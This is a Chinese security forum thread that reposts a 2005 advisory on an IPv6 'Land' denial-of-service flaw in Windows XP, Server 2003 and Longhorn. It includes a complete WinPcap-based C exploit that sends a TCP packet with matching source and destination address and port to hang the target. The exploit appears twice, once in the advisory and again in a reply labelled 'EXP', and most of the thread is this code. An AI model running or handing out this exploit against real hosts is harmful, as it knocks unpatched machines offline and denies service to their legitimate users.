返回列表 发帖

Microsoft Windows XP/2k3/Longhorn IPv6易受Land攻击影响漏洞

发布日期:2005-05-18 更新日期:2005-05-18 受影响系统: Microsoft Windows Server 2003 Microsoft Windows XP SP2 Microsoft Windows XP SP1 描述: -------------------------------------------------------------------------------- BUGTRAQ ID: 13658 Microsoft Windows XP/2k3/Longhorn都是微软发布的非常流行的操作系统。 Microsoft Windows IPv6 TCP/IP协议栈存在loopback情况,攻击者可以发送源端口、目标端口都设置为相同的特制TCP报文导致死循环,造成合法用户的拒绝服务。 最近的安全更新修复了IPv4协议中的漏洞,但没有修复IPv6协议中的漏洞。 <*来源:Konrad Malewski (koyot@moon.ondraszek.ds.polsl.gliwice.pl) 链接:http://archives.neohapsis.com/archives/today/0010.html *> 测试方法: -------------------------------------------------------------------------------- 警 告 以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负! // // Example usage: LandIpV6 \Device\NPF_{B1751317-BAA0-43BB-A69B-A0351960B28D} fe80::2a1:b0ff:fe08:8bcc 135 // // Written by: Konrad Malewski. // #include #include #include #include #include #include /////////////////////////////////////////////////////////////////////////////// ///////////// from libnet ///////////// /* ethernet addresses are 6 octets long */ #define ETHER_ADDR_LEN 0x6 typedef unsigned char u_int8_t; typedef unsigned short u_int16_t; typedef unsigned int u_int32_t; typedef unsigned __int64 u_int64_t; /* * Ethernet II header * Static header size: 14 bytes */ struct libnet_ethernet_hdr { u_int8_t ether_dhost[ETHER_ADDR_LEN];/* destination ethernet address */ u_int8_t ether_shost[ETHER_ADDR_LEN];/* source ethernet address */ u_int16_t ether_type; /* protocol */ }; struct libnet_in6_addr { union { u_int8_t __u6_addr8[16]; u_int16_t __u6_addr16[8]; u_int32_t __u6_addr32[4]; } __u6_addr; /* 128-bit IP6 address */ }; /* * IPv6 header * Internet Protocol, version 6 * Static header size: 40 bytes */ struct libnet_ipv6_hdr { u_int8_t ip_flags[4]; /* version, traffic class, flow label */ u_int16_t ip_len; /* total length */ u_int8_t ip_nh; /* next header */ u_int8_t ip_hl; /* hop limit */ struct libnet_in6_addr ip_src, ip_dst; /* source and dest address */ }; /* * TCP header * Transmission Control Protocol * Static header size: 20 bytes */ struct libnet_tcp_hdr { u_int16_t th_sport; /* source port */ u_int16_t th_dport; /* destination port */ u_int32_t th_seq; /* sequence number */ u_int32_t th_ack; /* acknowledgement number */ u_int8_t th_x2:4, /* (unused) */ th_off:4; /* data offset */ u_int8_t th_flags; /* control flags */ u_int16_t th_win; /* window */ u_int16_t th_sum; /* checksum */ u_int16_t th_urp; /* urgent pointer */ }; int libnet_in_cksum(u_int16_t *addr, int len) { int sum; union { u_int16_t s; u_int8_t b[2]; }pad; sum = 0; while (len > 1) { sum += *addr++; len -= 2; } if (len == 1) { pad.b[0] = *(u_int8_t *)addr; pad.b[1] = 0; sum += pad.s; } return (sum); } #define LIBNET_CKSUM_CARRY(x) (x = (x >> 16) + (x & 0xffff), (~(x + (x >> 16)) & 0xffff)) /////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////// u_char packet[74]; struct libnet_ipv6_hdr *ip6_hdr = (libnet_ipv6_hdr *) (packet + 14); struct libnet_tcp_hdr *tcp_hdr = (libnet_tcp_hdr *) (packet + 54); struct libnet_ethernet_hdr *eth_hdr = (libnet_ethernet_hdr *) packet; u_char errbuf[1024]; pcap_t *pcap_handle; void usage(char* n) { pcap_if_t * alldevs,*d; int i=1; fprintf(stdout,"Usage:\n" "\t %s \n",n); if (pcap_findalldevs (&alldevs, (char*)errbuf) == -1) { fprintf( stderr, "Error in pcap_findalldevs ():%s\n" ,errbuf); exit(EXIT_FAILURE); } printf("Avaliable adapters: \n"); d = alldevs; while (d!=NULL) { printf("\t%d) %s\n\t\t%s\n",i++,d->name,d->description); d = d->next; } pcap_freealldevs (alldevs); } /////////////////////////////////////////////////////////////////////////////// int main(int argc, char* argv[]) { if ( argc<4 ) { usage(argv[0]); return EXIT_FAILURE; } int retVal; struct addrinfo hints,*addrinfo; ZeroMemory(&hints,sizeof(hints)); WSADATA wsaData; if ( WSAStartup( MAKEWORD(2,2), &wsaData ) != NO_ERROR ) { fprintf( stderr, "Error in WSAStartup():%d\n",WSAGetLastError()); return EXIT_FAILURE; } // // Get MAC address of remote host (assume link local IpV6 address) // hints.ai_family = PF_INET6; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; hints.ai_flags = AI_PASSIVE; retVal = getaddrinfo(argv[2],0, &hints, &addrinfo); if ( retVal!=0 ) { WSACleanup(); fprintf( stderr, "Error in getaddrinfo():%d\n",WSAGetLastError()); exit(EXIT_FAILURE); } // // Open WinPCap adapter // if ( (pcap_handle = pcap_open_live (argv[1], 1514, PCAP_OPENFLAG_PROMISCUOUS, 100, (char*)errbuf)) == NULL ) { freeaddrinfo(addrinfo); WSACleanup(); fprintf(stderr, "Error opening device: %s\n",argv[1]); return EXIT_FAILURE; } ZeroMemory(packet,sizeof(packet)); struct sockaddr_in6 *sa = (struct sockaddr_in6 *) addrinfo->ai_addr; // fill ethernet header eth_hdr->ether_dhost[0] = eth_hdr->ether_shost[0] = 0;// assume address like 00:something; eth_hdr->ether_dhost[1] = eth_hdr->ether_shost[1] = sa->sin6_addr.u.Byte[9]; eth_hdr->ether_dhost[2] = eth_hdr->ether_shost[2] = sa->sin6_addr.u.Byte[10]; eth_hdr->ether_dhost[3] = eth_hdr->ether_shost[3] = sa->sin6_addr.u.Byte[13]; eth_hdr->ether_dhost[4] = eth_hdr->ether_shost[4] = sa->sin6_addr.u.Byte[14]; eth_hdr->ether_dhost[5] = eth_hdr->ether_shost[5] = sa->sin6_addr.u.Byte[15]; eth_hdr->ether_type = 0xdd86; // fill IP header // source ip == destination ip memcpy(ip6_hdr->ip_src.__u6_addr.__u6_addr8,sa->sin6_addr.u.Byte,sizeof(sa->sin6_addr.u.Byte)); memcpy(ip6_hdr->ip_dst.__u6_addr.__u6_addr8,sa->sin6_addr.u.Byte,sizeof(sa->sin6_addr.u.Byte)); ip6_hdr->ip_hl = 255; ip6_hdr->ip_nh = IPPROTO_TCP; ip6_hdr->ip_len = htons (20); ip6_hdr->ip_flags[0] = 0x06 << 4; srand((unsigned int) time(0)); // fill tcp header tcp_hdr->th_sport = tcp_hdr->th_dport = htons (atoi(argv[3])); // source port equal to destination tcp_hdr->th_seq = rand(); tcp_hdr->th_ack = rand(); tcp_hdr->th_off = htons(5); tcp_hdr->th_win = rand(); tcp_hdr->th_sum = 0; tcp_hdr->th_urp = htons(10); tcp_hdr->th_off = 5; tcp_hdr->th_flags = 2; // calculate tcp checksum int chsum = libnet_in_cksum ((u_int16_t *) & ip6_hdr->ip_src, 32); chsum += ntohs (IPPROTO_TCP + sizeof (struct libnet_tcp_hdr)); chsum += libnet_in_cksum ((u_int16_t *) tcp_hdr, sizeof (struct libnet_tcp_hdr)); tcp_hdr->th_sum = LIBNET_CKSUM_CARRY (chsum); // send data to wire retVal = pcap_sendpacket (pcap_handle, (u_char *) packet, sizeof(packet)); if ( retVal == -1 ) { fprintf(stderr,"Error writing packet to wire!!\n"); } // // close adapter, free mem.. etc.. // pcap_close(pcap_handle); freeaddrinfo(addrinfo); WSACleanup(); return EXIT_SUCCESS; } 建议: -------------------------------------------------------------------------------- 厂商补丁: Microsoft --------- 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: http://www.microsoft.com/technet/security/

Microsoft Windows XP/2k3/Longhorn IPv6易受Land攻击影响漏洞

看看...

TOP

Microsoft Windows XP/2k3/Longhorn IPv6易受Land攻击影响漏洞

呵呵,我是菜鸟,看不懂,还是收藏起,哪天看得懂了再说,谢谢!

TOP

Microsoft Windows XP/2k3/Longhorn IPv6易受Land攻击影响漏洞

EXP
  1. //
  2. // Example usage: LandIpV6 \Device\NPF_{B1751317-BAA0-43BB-A69B-A0351960B28D}
  3. //fe80::2a1:b0ff:fe08:8bcc 135
  4. //
  5. // Written by: Konrad Malewski.
  6. //
  7. &#35;include <stdlib.h>
  8. &#35;include <stdio.h>
  9. &#35;include <Winsock2.h>
  10. &#35;include <ws2tcpip.h>
  11. &#35;include <pcap.h>
  12. &#35;include <remote-ext.h>
  13. ///////////////////////////////////////////////////////////////////////////////
  14. ///////////// from libnet /////////////
  15. /* ethernet addresses are 6 octets long */
  16. &#35;define ETHER_ADDR_LEN 0x6
  17. typedef unsigned char u_int8_t;
  18. typedef unsigned short u_int16_t;
  19. typedef unsigned int u_int32_t;
  20. typedef unsigned __int64 u_int64_t;
  21. /*
  22. * Ethernet II header
  23. * Static header size: 14 bytes
  24. */
  25. struct libnet_ethernet_hdr
  26. {
  27. u_int8_t ether_dhost[ETHER_ADDR_LEN];/* destination ethernet address */
  28. u_int8_t ether_shost[ETHER_ADDR_LEN];/* source ethernet address */
  29. u_int16_t ether_type; /* protocol */
  30. };
  31. struct libnet_in6_addr
  32. {
  33. union
  34. {
  35. u_int8_t __u6_addr8[16];
  36. u_int16_t __u6_addr16[8];
  37. u_int32_t __u6_addr32[4];
  38. } __u6_addr; /* 128-bit IP6 address */
  39. };
  40. /*
  41. * IPv6 header
  42. * Internet Protocol, version 6
  43. * Static header size: 40 bytes
  44. */
  45. struct libnet_ipv6_hdr
  46. {
  47. u_int8_t ip_flags[4]; /* version, traffic class, flow label */
  48. u_int16_t ip_len; /* total length */
  49. u_int8_t ip_nh; /* next header */
  50. u_int8_t ip_hl; /* hop limit */
  51. struct libnet_in6_addr ip_src, ip_dst; /* source and dest address */
  52. };
  53. /*
  54. * TCP header
  55. * Transmission Control Protocol
  56. * Static header size: 20 bytes
  57. */
  58. struct libnet_tcp_hdr
  59. {
  60. u_int16_t th_sport; /* source port */
  61. u_int16_t th_dport; /* destination port */
  62. u_int32_t th_seq; /* sequence number */
  63. u_int32_t th_ack; /* acknowledgement number */
  64. u_int8_t th_x2:4, /* (unused) */
  65. th_off:4; /* data offset */
  66. u_int8_t th_flags; /* control flags */
  67. u_int16_t th_win; /* window */
  68. u_int16_t th_sum; /* checksum */
  69. u_int16_t th_urp; /* urgent pointer */
  70. };
  71. int libnet_in_cksum(u_int16_t *addr, int len)
  72. {
  73. int sum;
  74. union
  75. {
  76. u_int16_t s;
  77. u_int8_t b[2];
  78. }pad;
  79. sum = 0;
  80. while (len > 1)
  81. {
  82. sum += *addr++;
  83. len -= 2;
  84. }
  85. if (len == 1)
  86. {
  87. pad.b[0] = *(u_int8_t *)addr;
  88. pad.b[1] = 0;
  89. sum += pad.s;
  90. }
  91. return (sum);
  92. }
  93. &#35;define LIBNET_CKSUM_CARRY(x) (x = (x >> 16) + (x & 0xffff), (~(x + (x >> 16))
  94. & 0xffff))
  95. ///////////////////////////////////////////////////////////////////////////////
  96. ///////////////////////////////////////////////////////////////////////////////
  97. u_char packet[74];
  98. struct libnet_ipv6_hdr *ip6_hdr = (libnet_ipv6_hdr *) (packet + 14);
  99. struct libnet_tcp_hdr *tcp_hdr = (libnet_tcp_hdr *) (packet + 54);
  100. struct libnet_ethernet_hdr *eth_hdr = (libnet_ethernet_hdr *) packet;
  101. u_char errbuf[1024];
  102. pcap_t *pcap_handle;
  103. void usage(char* n)
  104. {
  105. pcap_if_t * alldevs,*d;
  106. int i=1;
  107. fprintf(stdout,"Usage:\n"
  108. "\t %s <device> <victim> <port>\n",n);
  109. if (pcap_findalldevs (&alldevs, (char*)errbuf) == -1)
  110. {
  111. fprintf( stderr, "Error in pcap_findalldevs ():%s\n" ,errbuf);
  112. exit(EXIT_FAILURE);
  113. }
  114. printf("Avaliable adapters: \n");
  115. d = alldevs;
  116. while (d!=NULL)
  117. {
  118. printf("\t%d) %s\n\t\t%s\n",i++,d->name,d->description);
  119. d = d->next;
  120. }
  121. pcap_freealldevs (alldevs);
  122. }
  123. ///////////////////////////////////////////////////////////////////////////////
  124. int main(int argc, char* argv[])
  125. {
  126. if ( argc<4 )
  127. {
  128. usage(argv[0]);
  129. return EXIT_FAILURE;
  130. }
  131. int retVal;
  132. struct addrinfo hints,*addrinfo;
  133. ZeroMemory(&hints,sizeof(hints));
  134. WSADATA wsaData;
  135. if ( WSAStartup( MAKEWORD(2,2), &wsaData ) != NO_ERROR )
  136. {
  137. fprintf( stderr, "Error in WSAStartup():%d\n",WSAGetLastError());
  138. return EXIT_FAILURE;
  139. }
  140. //
  141. // Get MAC address of remote host (assume link local IpV6 address)
  142. //
  143. hints.ai_family = PF_INET6;
  144. hints.ai_socktype = SOCK_STREAM;
  145. hints.ai_protocol = IPPROTO_TCP;
  146. hints.ai_flags = AI_PASSIVE;
  147. retVal = getaddrinfo(argv[2],0, &hints, &addrinfo);
  148. if ( retVal!=0 )
  149. {
  150. WSACleanup();
  151. fprintf( stderr, "Error in getaddrinfo():%d\n",WSAGetLastError());
  152. exit(EXIT_FAILURE);
  153. }
  154. //
  155. // Open WinPCap adapter
  156. //
  157. if ( (pcap_handle = pcap_open_live (argv[1], 1514, PCAP_OPENFLAG_PROMISCUOUS,
  158. 100, (char*)errbuf)) == NULL )
  159. {
  160. freeaddrinfo(addrinfo);
  161. WSACleanup();
  162. fprintf(stderr, "Error opening device: %s\n",argv[1]);
  163. return EXIT_FAILURE;
  164. }
  165. ZeroMemory(packet,sizeof(packet));
  166. struct sockaddr_in6 *sa = (struct sockaddr_in6 *) addrinfo->ai_addr;
  167. // fill ethernet header
  168. eth_hdr->ether_dhost[0] = eth_hdr->ether_shost[0] = 0;// assume address like
  169. 00:something;
  170. eth_hdr->ether_dhost[1] = eth_hdr->ether_shost[1] = sa->sin6_addr.u.Byte[9];
  171. eth_hdr->ether_dhost[2] = eth_hdr->ether_shost[2] = sa->sin6_addr.u.Byte[10];
  172. eth_hdr->ether_dhost[3] = eth_hdr->ether_shost[3] = sa->sin6_addr.u.Byte[13];
  173. eth_hdr->ether_dhost[4] = eth_hdr->ether_shost[4] = sa->sin6_addr.u.Byte[14];
  174. eth_hdr->ether_dhost[5] = eth_hdr->ether_shost[5] = sa->sin6_addr.u.Byte[15];
  175. eth_hdr->ether_type = 0xdd86;
  176. // fill IP header
  177. // source ip == destination ip
  178. memcpy(ip6_hdr->ip_src.__u6_addr.__u6_addr8,sa->sin6_addr.u.Byte,sizeof(sa->sin6_addr.u.Byte));
  179. memcpy(ip6_hdr->ip_dst.__u6_addr.__u6_addr8,sa->sin6_addr.u.Byte,sizeof(sa->sin6_addr.u.Byte));
  180. ip6_hdr->ip_hl = 255;
  181. ip6_hdr->ip_nh = IPPROTO_TCP;
  182. ip6_hdr->ip_len = htons (20);
  183. ip6_hdr->ip_flags[0] = 0x06 << 4;
  184. srand((unsigned int) time(0));
  185. // fill tcp header
  186. tcp_hdr->th_sport = tcp_hdr->th_dport = htons (atoi(argv[3])); // source
  187. port equal to destination
  188. tcp_hdr->th_seq = rand();
  189. tcp_hdr->th_ack = rand();
  190. tcp_hdr->th_off = htons(5);
  191. tcp_hdr->th_win = rand();
  192. tcp_hdr->th_sum = 0;
  193. tcp_hdr->th_urp = htons(10);
  194. tcp_hdr->th_off = 5;
  195. tcp_hdr->th_flags = 2;
  196. // calculate tcp checksum
  197. int chsum = libnet_in_cksum ((u_int16_t *) & ip6_hdr->ip_src, 32);
  198. chsum += ntohs (IPPROTO_TCP + sizeof (struct libnet_tcp_hdr));
  199. chsum += libnet_in_cksum ((u_int16_t *) tcp_hdr, sizeof (struct
  200. libnet_tcp_hdr));
  201. tcp_hdr->th_sum = LIBNET_CKSUM_CARRY (chsum);
  202. // send data to wire
  203. retVal = pcap_sendpacket (pcap_handle, (u_char *) packet, sizeof(packet));
  204. if ( retVal == -1 )
  205. {
  206. fprintf(stderr,"Error writing packet to wire!!\n");
  207. }
  208. //
  209. // close adapter, free mem.. etc..
  210. //
  211. pcap_close(pcap_handle);
  212. freeaddrinfo(addrinfo);
  213. WSACleanup();
  214. return EXIT_SUCCESS;
  215. }
复制代码

TOP

返回列表 回复 发帖